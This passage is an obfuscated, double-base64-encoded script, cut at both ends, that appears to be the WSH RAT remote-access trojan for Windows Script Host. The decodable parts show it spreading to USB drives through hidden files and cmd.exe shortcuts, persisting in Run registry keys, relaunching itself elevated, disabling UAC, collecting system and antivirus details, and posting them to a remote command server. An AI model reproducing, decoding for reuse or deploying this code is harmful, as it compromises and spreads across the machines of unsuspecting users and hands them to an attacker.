dpYlc5NkxYTmtheUlzSUNJaUtUc0tDUWwyWVhJZ2IySnFhSFIwY0dSdmQyNXNiMkZrSUQwZ1YxTmpjbWx3ZEM1RGNtVmhkR1ZQWW1wbFkzUW9JbTF6ZUcxc01pNTRiV3hvZEhSd0lpazdDZ2tKYjJKcWFIUjBjR1J2ZDI1c2IyRmtMbTl3Wlc0b0ltZGxkQ0lzSUhOa2EzVnliQ3dnWm1Gc2MyVXBPd29KQ1c5aWFtaDBkSEJrYjNkdWJHOWhaQzV6WlhSU1pYRjFaWE4wU0dWaFpHVnlLQ0pqWVdOb1pTMWpiMjUwY205c09pSXNJQ0p0WVhndFlXZGxQVC0+QGlLVHNLQ1FsdlltcG9kSFJ3Wkc5M2JteHZZV1F1YzJWdVpDZ3BPd29LQ1FscFppaG1hV3hsYzNsemRHVnRiMkpxTG1acGJHVkZlR2x6ZEhNb2FXNXpkR0ZzYkdScGNpLT5AcklDSjNjMmh6WkdzdWVtbHdJaWtwZXdvSkNRbG1hV3hsYzNsemRHVnRiMkpxTG1SbGJHVjBaVVpwYkdVb2FXNXpkR0ZzYkdScGNpLT5AcklDSjNjMmh6WkdzdWVtbHdJaWs3Q2drSmZRb0pDUy0+QEtDUWxwWmktPkBvYjJKcWFIUjBjR1J2ZDI1c2IyRmtMbk4wWVhSMWN5LT5AOVBTLT5AeU1ELT5AcGV3b0pDUy0+QGdkSEo1ZXdvSkNTLT5AZ0lIWmhjaS0+QGdiMkpxYzNSeVpXRnRaRzkzYm14dllXUWdQU0JYVTJOeWFYQjBMa055WldGMFpVOWlhbVZqZENnaVlXUnZaR0l1YzNSeVpXRnRJaWs3Q2drSklDLT5AZ2IySnFjM1J5WldGdFpHOTNibXh2WVdRdVZIbHdaUy0+QDlJREU3SS0+QG9KQ1MtPkBnSUc5aWFuTjBjbVZoYldSdmQyNXNiMkZrTGs5d1pXNG9LVHNLQ1FrZ0lDQnZZbXB6ZEhKbFlXMWtiM2R1Ykc5aFpDNVhjbWwwWlNodlltcG9kSFJ3Wkc5M2JteHZZV1F1Y21WemNHOXVjMlZDYjJSNUtUc0tDUWtnSUNCdlltcHpkSEpsWVcxa2IzZHViRzloWkM1VFlYWmxWRzlHYVd4bEtHbHVjM1JoYkd4a2FYSWdLeS0+QGlkM05vYzJSckxucHBjQ0lwT3dvSkNTLT5AZ0lHOWlhbk4wY21WaGJXUnZkMjVzYjJGa0xtTnNiM05sS0NrN0Nna0pJQy0+QGdiMkpxYzNSeVpXRnRaRzkzYm14dllXUWdQU0J1ZFd4c093b0pDUy0+QGdmV05oZEdOb0tHVjZLWHNLQ1FrSkNna0pJQ0I5Q2drSmZRb0pDV2xtS0dacGJHVnplWE4wWlcxdlltb3VabWxzWlVWNGFYTjBjeWhwYm5OMFlXeHNaR2x5SUNzZ0luZHphSE5rYXk1NmFYLT5AaUtTbDdDZ2tKQ1M4dmRXNTZhWC0+QGdkR2hsSUdacGJHVWdDZ2tKQ1ZWdVdtbHdLR2x1YzNSaGJHeGthWElnS3ktPkBpZDNOb2MyUnJMbnBwY0NJc0lITmthM0JoZEdncE93b0pDUWwxY0dSaGRHVnpkR0YwZFhNb0lsTkVTeXRKYm5OMFlXeHNaV1FpS1RzS0NRbDlDZ2w5WTJGMFkyZ29aWEp5S1h0OUNuMEtDbVoxYm1OMGFXOXVJR2x1YzNSaGJHd29LWHNLZG1GeUlHeHVhMjlpYWpzS2RtRnlJR1pwYkdWdVlXMWxPd3AyWVhJZ1ptOXNaR1Z5Ym1GdFpUc0tkbUZ5SUdacGJHVnBZMjl1T3dwMllYSWdabTlzWkdWeWFXTnZianNLQ25Wd2MzUmhjblFvS1RzS0NtWnZjaWgyWVhJZ1pISnBJRDBnYm1WM0lFVnVkVzFsY21GMGIzSW9abWxzWlhONWMzUmxiVzlpYWk1a2NtbDJaWE1wT3ktPkBoWkhKcExtRjBSVzVrS0NrN0lHUnlhUzV0YjNabFRtVjRkQ2dwS1hzS2RtRnlJR1J5YVhabElEMGdaSEpwTG1sMFpXMG9LVHNLYVdZZ0tHUnlhWFpsTG1semNtVmhaSGtnUFQwZ2RISjFaU2w3Q21sbUlDaGtjbWwyWlM1bWNtVmxjM0JoWTJVZ1BpLT5Ad0lDbDdDbWxtSUNoa2NtbDJaUzVrY21sMlpYUjVjR1VnUFQwZ01TLT5AcGV3b0pkSEo1ZXdvSkNXWnBiR1Z6ZVhOMFpXMXZZbW91WTI5d2VVWnBiR1VvVjFOamNtbHdkQzV6WTNKcGNIUkdkV3hzVG1GdFpTLT5Ac0lHUnlhWFpsTG5CaGRHZ2dLeS0+QGlYRndpSUNzZ2FXNXpkR0ZzYkc1aGJXVXNkSEoxWlNrN0Nna0phV1lnS0dacGJHVnplWE4wWlcxdlltb3VabWxzWlVWNGFYTjBjeS0+QG9aSEpwZG1VdWNHRjBhQy0+QHJJQ0pjWENJZ0t5QnBibk4wWVd4c2JtRnRaU2twZXdvSkNRbG1hV3hsYzNsemRHVnRiMkpxTG1kbGRFWnBiR1VvWkhKcGRtVXVjR0YwYUMtPkBySUNKY1hDSWdJQ3NnYVc1emRHRnNiRzVoYldVcExtRjBkSEpwWW5WMFpYTWdQUy0+QHlLelE3Q2drSmZRb0pmV05oZEdOb0tHVnBhblVwZTMwS0lDLT5AZ0lHWnZjaWgyWVhJZ1pta2dQU0J1WlhjZ1JXNTFiV1Z5WVhSdmNpaG1hV3hsYzNsemRHVnRiMkpxTG1kbGRHWnZiR1JsY2loa2NtbDJaUzV3WVhSb0lDc2dJbHhjSWlrdVptbHNaWE1wT3ktPkBoWm1rdVlYUkZibVFvS1RzZ1pta3ViVzkyWlU1bGVIUW9LU2w3Q2drSmRISjVld29KQ1haaGNpQm1hV3hsSUQwZ1pta3VhWFJsYlNncE93b2dJQy0+QGdJQy0+QGdJR2xtSUNoc2JtdG1hV3hsSUQwOUlHWmhiSE5sS1h0aWNtVmhhenQ5Q2ktPkBnSUMtPkBnSUMtPkBnYVdZZ0tHWnBiR1V1Ym1GdFpTNXBibVJsZUU5bUtDSXVJaWtwZXdvZ0lDLT5AZ0lDLT5AZ0lDLT5AZ0lDQnBaaS0+QG9LR1pwYkdVdWJtRnRaUzV6Y0d4cGRDZ2lMaUlwVzJacGJHVXVibUZ0WlM1emNHeHBkQ2dpTGlJcExteGxibWQwYUMtPkB0SURGZEtTNTBiMHh2ZDJWeVEyRnpaU2dwSUNFOUlDSnNibXNpS1hzS0lDLT5AZ0lDLT5AZ0lDLT5AZ0lDLT5AZ0lDLT5AZ0lHWnBiR1V1WVhSMGNtbGlkWFJsY3ktPkA5SURJck5Ec0tJQy0+QGdJQy0+QGdJQy0+QGdJQy0+QGdJQy0+QGdJR2xtSUNobWFXeGxMbTVoYldVdWRHOVZjSEJsY2tOaGMyVW9LUy0+QGhQU0JwYm5OMFlXeHNibUZ0WlM1MGIxVndjR1Z5UTJGelpTZ3BLWHNLSUMtPkBnSUMtPkBnSUMtPkBnSUMtPkBnSUMtPkBnSUMtPkBnSUNCbWFXeGxibUZ0WlMtPkA5SUdacGJHVXVibUZ0WlM1emNHeHBkQ2dpTGlJcE93b2dJQy0+QGdJQy0+QGdJQy0+QGdJQy0+QGdJQy0+QGdJQy0+QGdJR3h1YTI5aWFpLT5AOUlITm9aV3hzYjJKcUxtTnlaV0YwWlZOb2IzSjBZM1YwS0dSeWFYWmxMbkJoZEdnZ0t5LT5AaVhGd2lJQy0+QHJJR1pwYkdWdVlXMWxXekJkSUNzZ0lpNXNibXNpS1RzS0lDLT5AZ0lDLT5AZ0lDLT5AZ0lDLT5AZ0lDLT5AZ0lDLT5AZ0lDQnNibXR2WW1vdWQybHVaRzkzVTNSNWJHVWdQUy0+QDNPd29nSUMtPkBnSUMtPkBnSUMtPkBnSUMtPkBnSUMtPkBnSUMtPkBnSUd4dWEyOWlhaTUwWVhKblpYUlFZWFJvSUQwZ0ltTnRaQzVsZUdVaU93b2dJQy0+QGdJQy0+QGdJQy0+QGdJQy0+QGdJQy0+QGdJQy0+QGdJR3h1YTI5aWFpNTNiM0pyYVc1blJHbHlaV04wYjNKNUlEMGdJaUk3Q2ktPkBnSUMtPkBnSUMtPkBnSUMtPkBnSUMtPkBnSUMtPkBnSUMtPkBnYkc1cmIySnFMbUZ5WjNWdFpXNTBjeS0+QDlJQ0l2WXlCemRHRnlkQy0+QGlJQ3NnYVc1emRHRnNiRzVoYldVdWNtVndiR0ZqWlNodVpYY2dVbVZuUlhod0tDSWdJaXdnSW1jaUtTd2dJbHdpSUZ3aUlpa2dLeS0+QGlKbk4wWVhKMElDSWdLeUJtYVd4bExtNWhiV1V1Y21Wd2JHRmpaU2h1WlhjZ1VtVm5SWGh3S0NJZ0lpd2dJbWNpS1N3Z0lsd2lJRndpSWlrZ0t5SW1aWGhwZENJN0NpLT5AZ0lDLT5AZ0lDLT5AZ0lDLT5AZ0lDLT5AZ0lDLT5AZ0lDLT5AZ2RISjVlMlpwYkdWcFkyOXVJRDBnYzJobGJHeHZZbW91VW1WblVtVmhaQy0+QG9Ja2hMUlZsZlRFOURRVXhmVFVGRFNFbE9SVnhjYzI5bWRIZGhjbVZjWEdOc1lYTnpaWE5jWENJZ0t5QnphR1ZzYkc5aWFpNVNaV2RTWldGa0lDZ2lTRXRGV1Y5TVQwTkJURjlOUVVOSVNVNUZYRnh6YjJaMGQyRnlaVnhjWTJ4aGMzTmxjMXhjTGlJZ0t5Qm1hV3hsTG01aGJXVXVjM0JzYVhRb0lpNGlLVnRtYVd4bExtNWhiV1V1YzNCc2FYUW9JaTRpS1M1c1pXNW5kR2dnTFMtPkB4WFNzZ0lseGNJaWtnS3ktPkBpWEZ4a1pXWmhkV3gwYVdOdmJseGNJaWs3SUgxallYUmphQ2hsWldWbEtYdDlDaS0+QGdJQy0+QGdJQy0+QGdJQy0+QGdJQy0+QGdJQy0+QGdJQy0+QGdhV1lnS0dacGJHVnBZMjl1TG1sdVpHVjRUMllvSWl3aUtTLT5AOVBTLT5Ad0tYc2dDaS0+QGdJQy0+QGdJQy0+QGdJQy0+QGdJQy0+QGdJQy0+QGdJQy0+QGdJQy0+QGdJR3h1YTI5aWFpNXBZMjl1VEc5allYUnBiMjRnUFNCbWFXeGxMbkJoZEdnN0NpLT5AZ0lDLT5AZ0lDLT5AZ0lDLT5AZ0lDLT5AZ0lDLT5AZ0lDLT5AZ2ZXVnNjMlVnZXdvZ0lDLT5AZ0lDLT5AZ0lDLT5AZ0lDLT5AZ0lDLT5AZ0lDLT5AZ0lDLT5AZ0lDQnNibXR2WW1vdWFXTnZia3h2WTJGMGFXOXVJRDBnWm1sc1pXbGpiMjQ3Q2ktPkBnSUMtPkBnSUMtPkBnSUMtPkBnSUMtPkBnSUMtPkBnSUMtPkBnZlFvZ0lDLT5AZ0lDLT5AZ0lDLT5AZ0lDLT5AZ0lDLT5AZ0lDLT5AZ0lHeHVhMjlpYWk1ellYWmxLQ2s3Q2ktPkBnSUMtPkBnSUMtPkBnSUMtPkBnSUMtPkBnSUNCOUNpLT5AZ0lDLT5AZ0lDLT5AZ0lDLT5AZ0lIMEtJQy0+QGdJQy0+QGdJQ0I5Q2drSmZXTmhkR05vS0dWeWNpbDdmUW9nSUMtPkBnZlFvSlptOXlLSFpoY2lCbWFTLT5AOUlHNWxkeUJGYm5WdFpYSmhkRzl5S0dacGJHVnplWE4wWlcxdlltb3VaMlYwWm05c1pHVnlLR1J5YVhabExuQmhkR2dnS3ktPkBpWEZ3aUtTNXpkV0pHYjJ4a1pYSnpLVHNnSVdacExtRjBSVzVrS0NrN0lHWnBMbTF2ZG1WT1pYaDBLQ2twZXdvSkNYUnllWHNLQ1FsMllYSWdabTlzWkdWeUlEMGdabWt1YVhSbGJTZ3BPd29nSUMtPkBnSUMtPkBnSUdsbUlDaHNibXRtYjJ4a1pYSWdQVDBnWm1Gc2MyVXBlMkp5WldGck8zMEtJQy0+QGdJQy0+QGdJQ0JtYjJ4a1pYSXVZWFIwY21saWRYUmxjeS0+QDlJRElyTkRzS0lDLT5AZ0lDLT5AZ0lDQm1iMnhrWlhKdVlXMWxJRDBnWm05c1pHVnlMbTVoYldVN0NpLT5AZ0lDLT5AZ0lDLT5AZ2JHNXJiMkpxSUQwZ2MyaGxiR3h2WW1vdVkzSmxZWFJsVTJodmNuUmpkWFFvWkhKcGRtVXVjR0YwYUMtPkBySUNKY1hDSWdJQ3NnWm05c1pHVnlibUZ0WlMtPkBySUNJdWJHNXJJaWs3SS0+QG9nSUMtPkBnSUMtPkBnSUd4dWEyOWlhaTUzYVc1a2IzZFRkSGxzWlMtPkA5SURjN0NpLT5AZ0lDLT5AZ0lDLT5AZ2JHNXJiMkpxTG5SaGNtZGxkRkJoZEdnZ1BTLT5AaVkyMWtMbVY0WlNJN0NpLT5AZ0lDLT5AZ0lDLT5AZ2JHNXJiMkpxTG5kdmNtdHBibWRFYVhKbFkzUnZjbmtnUFMtPkBpSWpzS0lDLT5AZ0lDLT5AZ0lDQnNibXR2WW1vdVlYSm5kVzFsYm5SeklEMGdJaTlqSUhOMFlYSjBJQ0lnS3lCcGJuTjBZV3hzYm1GdFpTNXlaWEJzWVdObEtHNWxkeUJTWldkRmVILT5Ab0lpLT5AaUxDLT5AaVp5SXBMQy0+QGlYQ0lnWENJaUtTLT5AcklDSW1jM1JoY25RZ1pYaHdiRzl5WlhJZ0lpLT5AcklHWnZiR1JsY2k1dVlXMWxMbkpsY0d4aFkyVW9ibVYzSUZKbFowVjRjQ2dpSUNJc0lDSm5JaWtzSUNKY0lpQmNJaUlwSUNzaUptVjRhWFFpT3dvZ0lDLT5AZ0lDLT5AZ0lHWnZiR1JsY21samIyNGdQU0J6YUdWc2JHOWlhaTVTWldkU1pXRmtLQ0pJUzBWWlgweFBRMEZNWDAxQlEwaEpUa1ZjWEhOdlpuUjNZWEpsWEZ4amJHRnpjMlZ6WEZ4bWIyeGtaWEpjWEdSbFptRjFiSFJwWTI5dVhGd2lLVHNnQ2ktPkBnSUMtPkBnSUMtPkBnYVdZZ0tHWnZiR1JsY21samIyNHVhVzVrWlhoUFppZ2lMQ0lwSUQwOUlELT5AcGV3b2dJQy0+QGdJQy0+QGdJQy0+QGdJQ0JzYm10dlltb3VhV052Ymt4dlkyRjBhVzl1SUQwZ1ptOXNaR1Z5TG5CaGRHZzdDaS0+QGdJQy0+QGdJQy0+QGdmV1ZzYzJVZ2V3b2dJQy0+QGdJQy0+QGdJQy0+QGdJQ0JzYm10dlltb3VhV052Ymt4dlkyRjBhVzl1SUQwZ1ptOXNaR1Z5YVdOdmJqc0tJQy0+QGdJQy0+QGdJQ0I5Q2ktPkBnSUMtPkBnSUMtPkBnYkc1cmIySnFMbk5oZG1Vb0tUc0tDUWw5WTJGMFkyZ29aWEp5S1h0OUNpLT5AZ0lDQjlDbjBLZlFwOUNuMEtmUW9LWm5WdVkzUnBiMjRnYzNSaGNuUjFjRVZzWlhaaGRHVW9LWHNLQ1dsbUtGZFRZM0pwY0hRdVFYSm5kVzFsYm5SekxrNWhiV1ZrTGtWNGFYTjBjeWdpWld4bGRtRjBaV1FpS1MtPkA5UFNCbVlXeHpaU2w3Q2drSmRISjVld29KQ1FsWFUyTnlhWEIwTGtOeVpXRjBaVTlpYW1WamRDZ2lVMmhsYkd3dVFYQndiR2xqWVhScGIyNGlLUzVUYUdWc2JFVjRaV04xZEdVb0luZHpZM0pwY0hRdVpYaGxJaXdnSWktPkB2TDBJZ1hDSWlJQ3NnVjFOamNtbHdkQzVUWTNKcGNIUkdkV3hzVG1GdFpTLT5AcklDSmNJaS0+QHZaV3hsZG1GMFpXUWlMQy0+QGlJaXdnSW5KMWJtRnpJaXdnTVNrN0Nna0pmV05oZEdOb0tHNXVLWHNLQ1FsOUNna0pWMU5qY21sd2RDNXhkV2wwS0NrN0NnbDlDbjBLQ21aMWJtTjBhVzl1SUdScGMyRmliR1ZUWldOMWNtbDBlU2dwZXdvSmFXWW9WMU5qY21sd2RDNUJjbWQxYldWdWRITXVUbUZ0WldRdVJYaHBjM1J6S0NKbGJHVjJZWFJsWkNJcElEMDlJSFJ5ZFdVcGV3b0pDWFpoY2lCdlVtVm5JRDBnUjJWMFQySnFaV04wS0NKM2FXNXRaMjEwY3pwN2FXMXdaWEp6YjI1aGRHbHZia3hsZG1Wc1BXbHRjR1Z5YzI5dVlYUmxmU0ZjWEZ4Y0xseGNjbTl2ZEZ4Y1pHVm1ZWFZzZERwVGRHUlNaV2RRY205MklpazdDZ2tKYjFKbFp5NVRaWFJFZDI5eVpGWmhiSFZsS0RCNE9ELT5Ad01ELT5Ad01ESXNJbE5QUmxSWFFWSkZYRnhOYVdOeWIzTnZablJjWEZkcGJtUnZkM05jWEVOMWNuSmxiblJXWlhKemFXOXVYRnhRYjJ4cFkybGxjMXhjVTNsemRHVnRJaXdpUlc1aFlteGxURlZCSWl3Z01DazdDZ2tKYjFKbFp5NVRaWFJFZDI5eVpGWmhiSFZsS0RCNE9ELT5Ad01ELT5Ad01ESXNJbE5QUmxSWFFWSkZYRnhOYVdOeWIzTnZablJjWEZkcGJtUnZkM05jWEVOMWNuSmxiblJXWlhKemFXOXVYRnhRYjJ4cFkybGxjMXhjVTNsemRHVnRJaXdpUTI5dWMyVnVkRkJ5YjIxd2RFSmxhR0YyYVc5eVFXUnRhVzRpTEMtPkB3S1RzS0NRbHZVbVZuSUQwZ2JuVnNiRHNLQ1gwS2ZRb0tablZ1WTNScGIyNGdkVzVwYm5OMFlXeHNLQ2w3Q25SeWVYc0tkbUZ5SUdacGJHVnVZVzFsT3dwMllYSWdabTlzWkdWeWJtRnRaVHNLZEhKNWV3b2dJQy0+QGdjMmhsYkd4dlltb3VVbVZuUkdWc1pYUmxLQ0pJUzBWWlgwTlZVbEpGVGxSZlZWTkZVbHhjYzI5bWRIZGhjbVZjWEcxcFkzSnZjMjltZEZ4Y2QybHVaRzkzYzF4Y1kzVnljbVZ1ZEhabGNuTnBiMjVjWEhKMWJseGNJaS0+QHJJR2x1YzNSaGJHeHVZVzFsTG5Od2JHbDBLQ0l1SWlsYk1GMHBPd29nSUMtPkBnYzJobGJHeHZZbW91VW1WblJHVnNaWFJsS0NKSVMwVlpYMHhQUTBGTVgwMUJRMGhKVGtWY1hITnZablIzWVhKbFhGeHRhV055YjNOdlpuUmNYSGRwYm1SdmQzTmNYR04xY25KbGJuUjJaWEp6YVc5dVhGeHlkVzVjWENJZ0t5QnBibk4wWVd4c2JtRnRaUzV6Y0d4cGRDZ2lMaUlwV3pCZEtUc0tmV05oZEdOb0tHVnBLWHQ5Q25SeWVYc0tabWxzWlhONWMzUmxiVzlpYWk1a1pXeGxkR1ZHYVd4bEtITjBZWEowZFgtPkBnS3lCcGJuTjBZV3hzYm1GdFpTLT5Ac2RISjFaU2s3Q21acGJHVnplWE4wWlcxdlltb3VaR1ZzWlhSbFJtbHNaU2hYVTJOeWFYQjBMbk5qY21sd2RFWjFiR3hPWVcxbElDeDBjblZsS1RzS2ZXTmhkR05vS0dWbGFpbDdmUXBtYjNJb2RtRnlJR1J5YVMtPkA5SUc1bGR5QkZiblZ0WlhKaGRHOXlLR1pwYkdWemVYTjBaVzF2WW1vdVpISnBkbVZ6S1RzZ0lXUnlhUzVoZEVWdVpDZ3BPeUJrY21rdWJXOTJaVTVsZUhRb0tTbDdDblpoY2lCa2NtbDJaUy0+QDlJR1J5YVM1cGRHVnRLQ2s3Q21sbUlDaGtjbWwyWlM1cGMzSmxZV1I1SUQwOUlIUnlkV1VwZXdwcFppLT5Ab1pISnBkbVV1Wm5KbFpYTndZV05sSUQ0Z01DLT5AcGV3cHBaaS0+QG9aSEpwZG1VdVpISnBkbVYwZVhCbElEMDlJREVnS1hzS0NXWnZjaWgyWVhJZ1pta2dQU0J1WlhjZ1JXNTFiV1Z5WVhSdmNpaG1hV3hsYzNsemRHVnRiMkpxTG1kbGRHWnZiR1JsY2loa2NtbDJaUzV3WVhSb0lDc2dJbHhjSWlrdVptbHNaWE1wT3ktPkBoWm1rdVlYUkZibVFvS1RzZ1pta3ViVzkyWlU1bGVIUW9LU2w3Q2ktPkBnSUMtPkBnSUMtPkBnSUhaaGNpQm1hV3hsSUQwZ1pta3VhWFJsYlNncE93b0pDU0IwY25sN0NpLT5AZ0lDLT5AZ0lDLT5AZ0lHbG1JQ2htYVd4bExtNWhiV1V1YVc1a1pYaFBaaWdpTGlJcEtYc0tJQy0+QGdJQy0+QGdJQy0+QGdJQy0+QGdJR2xtSUNnb1ptbHNaUzV1WVcxbExuTndiR2wwS0NJdUlpbGJabWxzWlM1dVlXMWxMbk53YkdsMEtDSXVJaWt1YkdWdVozUm9JQzBnTVYwcExuUnZURzkzWlhKRFlYTmxLQ2tnSVQwZ0lteHVheUlwZXdvZ0lDLT5AZ0lDLT5AZ0lDLT5AZ0lDLT5AZ0lDLT5AZ0lHWnBiR1V1WVhSMGNtbGlkWFJsY3ktPkA5SUQtPkA3Q2ktPkBnSUMtPkBnSUMtPkBnSUMtPkBnSUMtPkBnSUMtPkBnYVdZZ0tHWnBiR1V1Ym1GdFpTNTBiMVZ3Y0dWeVEyRnpaU2dwSUNFOUlHbHVjM1JoYkd4dVlXMWxMblJ2VlhCd1pYSkRZWE5sS0NrcGV3b2dJQy0+QGdJQy0+QGdJQy0+QGdJQy0+QGdJQy0+QGdJQy0+QGdJQ0JtYVd4bGJtRnRaUy0+QDlJR1pwYkdVdWJtRnRaUzV6Y0d4cGRDZ2lMaUlwT3dvZ0lDLT5AZ0lDLT5AZ0lDLT5AZ0lDLT5AZ0lDLT5AZ0lDLT5AZ0lDQm1hV3hsYzNsemRHVnRiMkpxTG1SbGJHVjBaVVpwYkdVb1pISnBkbVV1Y0dGMGFDLT5AcklDSmNYQ0lnS3lCbWFXeGxibUZ0WlZzd1hTLT5AcklDSXViRzVySWktPkBwT3dvZ0lDLT5AZ0lDLT5AZ0lDLT5AZ0lDLT5AZ0lDLT5AZ0lIMWxiSE5sZXdvZ0lDLT5AZ0lDLT5AZ0lDLT5AZ0lDLT5AZ0lDLT5AZ0lDLT5AZ0lDQm1hV3hsYzNsemRHVnRiMkpxTG1SbGJHVjBaVVpwYkdVb1pISnBkbVV1Y0dGMGFDLT5AcklDSmNYQ0lnS3lCbWFXeGxMbTVoYldVcE93b2dJQy0+QGdJQy0+QGdJQy0+QGdJQy0+QGdJQy0+QGdJSDBLSUMtPkBnSUMtPkBnSUMtPkBnSUMtPkBnSUgxbGJITmxld29nSUMtPkBnSUMtPkBnSUMtPkBnSUMtPkBnSUMtPkBnSUdacGJHVnplWE4wWlcxdlltb3VaR1ZzWlhSbFJtbHNaUy0+QG9abWxzWlM1d1lYUm9LVHNLSUMtPkBnSUMtPkBnSUMtPkBnSUMtPkBnSUgwS0lDLT5AZ0lDLT5AZ0lDLT5AZ2ZRb0pDU0I5WTJGMFkyZ29aWGdwZTMwS0lDLT5AZ0lDQjlDZ2tnWm05eUtIWmhjaUJtYVMtPkA5SUc1bGR5QkZiblZ0WlhKaGRHOXlLR1pwYkdWemVYTjBaVzF2WW1vdVoyVjBabTlzWkdWeUtHUnlhWFpsTG5CaGRHZ2dLeS0+QGlYRndpS1M1emRXSkdiMnhrWlhKektUc2dJV1pwTG1GMFJXNWtLQ2s3SUdacExtMXZkbVZPWlhoMEtDa3Bld29KQ1haaGNpQm1iMnhrWlhJZ1BTQm1hUzVwZEdWdEtDazdDaS0+QGdJQy0+QGdJQy0+QGdJR1p2YkdSbGNpNWhkSFJ5YVdKMWRHVnpJRDBnTURzS0lDLT5AZ0lDQjlDbjBLZlFwOUNuMEtmV05oZEdOb0tHVnljaWw3ZlFwWFUyTnlhWEIwTG5GMWFYUW9LVHNLZlFvS1puVnVZM1JwYjI0Z2NHOXpkQy0+QG9ZMjFrSUN4d1lYSmhiU2w3Q25SeWVYc0thSFIwY0c5aWFpNXZjR1Z1S0NKd2IzTjBJaXdpYUhSMGNEb3ZMeUlnS3lCb2IzTjBJQ3NnSWpvaUlDc2djRzl5ZEMtPkBySWk4aUlDc2dZMjFrTENCbVlXeHpaU2s3Q21oMGRIQnZZbW91YzJWMFVtVnhkV1Z6ZEVobFlXUmxjaWdpZFhObGNpMWhaMlZ1ZERvaUxHbHVabTl5YldGMGFXOXVLQ2twT3dwb2RIUndiMkpxTG5ObGJtUW9jR0Z5WVcwcE93cHlaWFIxY200Z2FIUjBjRzlpYWk1eVpYTndiMjV6WlZSbGVIUTdDbjFqWVhSamFDaGxjbklwZXdvSmNtVjBkWEp1SUNJaU93cDlDbjBLQ21aMWJtTjBhVzl1SUdsdVptOXliV0YwYVc5dUtDbDdDblJ5ZVhzS2FXWWdLR2x1WmktPkA5UFMtPkBpSWlsN0NpLT5AZ0lDQnBibVlnUFNCb2QybGtLQ2tnS3lCemNHeHBkR1Z5T3dvZ0lDLT5AZ2FXNW1JRDBnYVc1bUlDLT5AcklITm9aV3hzYjJKcUxrVjRjR0Z1WkVWdWRtbHliMjV0Wlc1MFUzUnlhVzVuY3lnaUpXTnZiWEIxZEdWeWJtRnRaU1VpS1MtPkBySUhOd2JHbDBaWElnT3dvZ0lDLT5AZ2FXNW1JRDBnYVc1bUlDLT5AcklITm9aV3hzYjJKcUxrVjRjR0Z1WkVWdWRtbHliMjV0Wlc1MFUzUnlhVzVuY3lnaUpYVnpaWEp1WVcxbEpTSXBJQ3NnYzNCc2FYUmxjanNLQ2ktPkBnSUNCMllYSWdjbTl2ZEMtPkA5SUVkbGRFOWlhbVZqZENnaWQybHViV2R0ZEhNNmUybHRjR1Z5YzI5dVlYUnBiMjVzWlhabGJEMXBiWEJsY25OdmJtRjBaWDBoWEZ4Y1hDNWNYSEp2YjNSY1hHTnBiWFl5SWlrN0NpLT5AZ0lDQjJZWElnYjNNZ1BTQnliMjkwTGtWNFpXTlJkV1Z5ZVMtPkBvSW5ObGJHVmpkQy0+QHFJR1p5YjIwZ2QybHVNekpmYjNCbGNtRjBhVzVuYzNsemRHVnRJaWs3Q2ktPkBnSS0+QG9KWm05eUtIWmhjaUJtYVMtPkA5SUc1bGR5QkZiblZ0WlhKaGRHOXlLRzl6S1RzZ0lXWnBMbUYwUlc1a0tDazdJR1pwTG0xdmRtVk9aWGgwS0NrcGV3b0pDWFpoY2lCdmMybHVabThnUFNCbWFTNXBkR1Z0S0NrN0NpLT5AZ0lDLT5AZ0lDQnBibVlnUFNCcGJtWWdLeUJ2YzJsdVptOHVZMkZ3ZEdsdmJpLT5AcklITndiR2wwWlhJN0lDLT5AS0lDLT5AZ0lDLT5AZ0lHSnlaV0ZyT3dvZ0lDLT5AZ2ZRb2dJQy0+QGdhVzVtSUQwZ2FXNW1JQ3NnSW5Cc2RYTWlJQ3NnYzNCc2FYUmxjanNLSUMtPkBnSUdsdVppLT5AOUlHbHVaaS0+QHJJSE5sWTNWeWFYUjVLQ2tnS3lCemNHeHBkR1Z5T3dvZ0lDLT5AZ2FXNW1JRDBnYVc1bUlDc2dkWE5pYzNCeVpXRmthVzVuT3dvZ0lDLT5AZ2FXNW1JRDBnSWxkVFNGSkJWQ0lnS3lCemNHeHBkR1Z5SUNzZ2FXNW1JQ3NnYzNCc2FYUmxjaS0+QHJJQ0pLWVhaaFUyTnlhWEIwTFhZeExqWWlJRHNLSUMtPkBnSUhKbGRIVnliaUJwYm1ZN0NuMWxiSE5sZXdvZ0lDLT5AZ2NtVjBkWEp1SUdsdVpqc0tmUXA5WTJGMFkyZ29aWEp5S1hzS0NYSmxkSFZ5YmktPkBpSWpzS2ZRcDlDZ29LWm5WdVkzUnBiMjRnZFhCemRHRnlkQy0+QG9LWHNLZEhKNWV3cDBjbmw3Q2ktPkBnSUNCemFHVnNiRzlpYWk1U1pXZFhjbWwwWlNnaVNFdEZXVjlEVlZKU1JVNVVYMVZUUlZKY1hITnZablIzWVhKbFhGeHRhV055YjNOdlpuUmNYSGRwYm1SdmQzTmNYR04xY25KbGJuUjJaWEp6YVc5dVhGeHlkVzVjWENJZ0t5QnBibk4wWVd4c2JtRnRaUzV6Y0d4cGRDZ2lMaUlwV3pCZExDLT5AZ0luZHpZM0pwY0hRdVpYaGxJQzh2UWlCY0lpSWdLeUJwYm5OMFlXeHNaR2x5SUNzZ2FXNXpkR0ZzYkc1aGJXVWdLeS0+QGlYQ0lpSUN3Z0lsSkZSMTlUV2lJcE93b2dJQy0+QGdjMmhsYkd4dlltb3VVbVZuVjNKcGRHVW9Ja2hMUlZsZlRFOURRVXhmVFVGRFNFbE9SVnhjYzI5bWRIZGhjbVZjWEcxcFkzSnZjMjltZEZ4Y2QybHVaRzkzYzF4Y1kzVnljbVZ1ZEhabGNuTnBiMjVjWEhKMWJseGNJaS0+QHJJR2x1YzNSaGJHeHVZVzFsTG5Od2JHbDBLQ0l1SWlsYk1GMHNJQy0+QGlkM05qY21sd2RDNWxlR1VnTHk5Q0lGd2lJaS0+QHJJR2x1YzNSaGJHeGthWElnS3lCcGJuTjBZV3hzYm1GdFpTLT5AcklDSmNJaUlnTEMtPkBpVWtWSFgxTmFJaWs3Q24xallYUmphQ2hsYVNsN2ZRcG1hV3hsYzNsemRHVnRiMkpxTG1OdmNIbEdhV3hsS0ZkVFkzSnBjSFF1YzJOeWFYQjBSblZzYkU1aGJXVXNJR2x1YzNSaGJHeGthWElnS3lCcGJuTjBZV3hzYm1GdFpTd2dkSEoxWlNrN0NtWnBiR1Z6ZVhOMFpXMXZZbW91WTI5d2VVWnBiR1VvVjFOamNtbHdkQzV6WTNKcGNIUkdkV3hzVG1GdFpTd2djM1JoY25SMWNDLT5AcklHbHVjM1JoYkd4dVlXMWxMQ0IwY25WbEtUc0tmV05oZEdOb0tHVnljaWw3ZlFwOUNnb0tablZ1WTNScGIyNGd